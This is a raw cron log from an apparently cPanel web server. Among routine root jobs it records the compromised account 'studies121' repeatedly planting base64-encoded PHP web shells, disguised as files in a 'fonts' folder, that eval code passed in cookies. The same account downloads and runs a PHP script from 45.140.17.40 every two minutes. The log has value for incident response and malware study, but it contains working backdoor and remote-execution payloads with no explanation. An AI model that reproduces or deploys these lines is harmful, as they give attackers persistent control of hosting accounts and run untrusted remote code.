Sep 10 04:21:01 ip-184-168-122-23 CROND[31324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:21:01 ip-184-168-122-23 CROND[31325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:21:01 ip-184-168-122-23 CROND[31327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:22:01 ip-184-168-122-23 CROND[31424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:22:01 ip-184-168-122-23 CROND[31426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:22:01 ip-184-168-122-23 CROND[31428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:22:01 ip-184-168-122-23 CROND[31430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:22:01 ip-184-168-122-23 CROND[31429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:23:01 ip-184-168-122-23 CROND[31560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:23:01 ip-184-168-122-23 CROND[31561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:23:01 ip-184-168-122-23 CROND[31564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:23:01 ip-184-168-122-23 CROND[31563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:24:01 ip-184-168-122-23 CROND[31654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:24:01 ip-184-168-122-23 CROND[31656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:24:01 ip-184-168-122-23 CROND[31657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:24:01 ip-184-168-122-23 CROND[31659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:24:01 ip-184-168-122-23 CROND[31658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:25:01 ip-184-168-122-23 CROND[31760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:25:01 ip-184-168-122-23 CROND[31763]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:25:01 ip-184-168-122-23 CROND[31764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:25:01 ip-184-168-122-23 CROND[31767]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 04:25:01 ip-184-168-122-23 CROND[31765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:25:01 ip-184-168-122-23 CROND[31766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:25:01 ip-184-168-122-23 CROND[31762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:26:01 ip-184-168-122-23 CROND[31947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:26:01 ip-184-168-122-23 CROND[31950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:26:01 ip-184-168-122-23 CROND[31949]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:26:01 ip-184-168-122-23 CROND[31951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:26:01 ip-184-168-122-23 CROND[31952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:27:01 ip-184-168-122-23 CROND[32099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:27:01 ip-184-168-122-23 CROND[32100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:27:01 ip-184-168-122-23 CROND[32103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:27:01 ip-184-168-122-23 CROND[32104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:28:01 ip-184-168-122-23 CROND[32211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:28:01 ip-184-168-122-23 CROND[32213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:28:01 ip-184-168-122-23 CROND[32215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:28:01 ip-184-168-122-23 CROND[32214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:28:01 ip-184-168-122-23 CROND[32217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:29:01 ip-184-168-122-23 CROND[32330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:29:01 ip-184-168-122-23 CROND[32334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:29:01 ip-184-168-122-23 CROND[32332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:29:01 ip-184-168-122-23 CROND[32333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:30:01 ip-184-168-122-23 CROND[32435]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:30:01 ip-184-168-122-23 CROND[32438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:30:01 ip-184-168-122-23 CROND[32439]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 04:30:01 ip-184-168-122-23 CROND[32441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:30:01 ip-184-168-122-23 CROND[32442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:30:01 ip-184-168-122-23 CROND[32443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:30:02 ip-184-168-122-23 CROND[32453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:30:02 ip-184-168-122-23 CROND[32452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:30:02 ip-184-168-122-23 CROND[32455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:30:02 ip-184-168-122-23 CROND[32456]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep 10 04:31:01 ip-184-168-122-23 CROND[32598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:31:01 ip-184-168-122-23 CROND[32599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:31:01 ip-184-168-122-23 CROND[32601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:31:01 ip-184-168-122-23 CROND[32600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:31:01 ip-184-168-122-23 CROND[32603]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 04:32:01 ip-184-168-122-23 CROND[340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:32:01 ip-184-168-122-23 CROND[342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:32:01 ip-184-168-122-23 CROND[344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:32:01 ip-184-168-122-23 CROND[346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:32:01 ip-184-168-122-23 CROND[345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:33:01 ip-184-168-122-23 CROND[440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:33:01 ip-184-168-122-23 CROND[441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
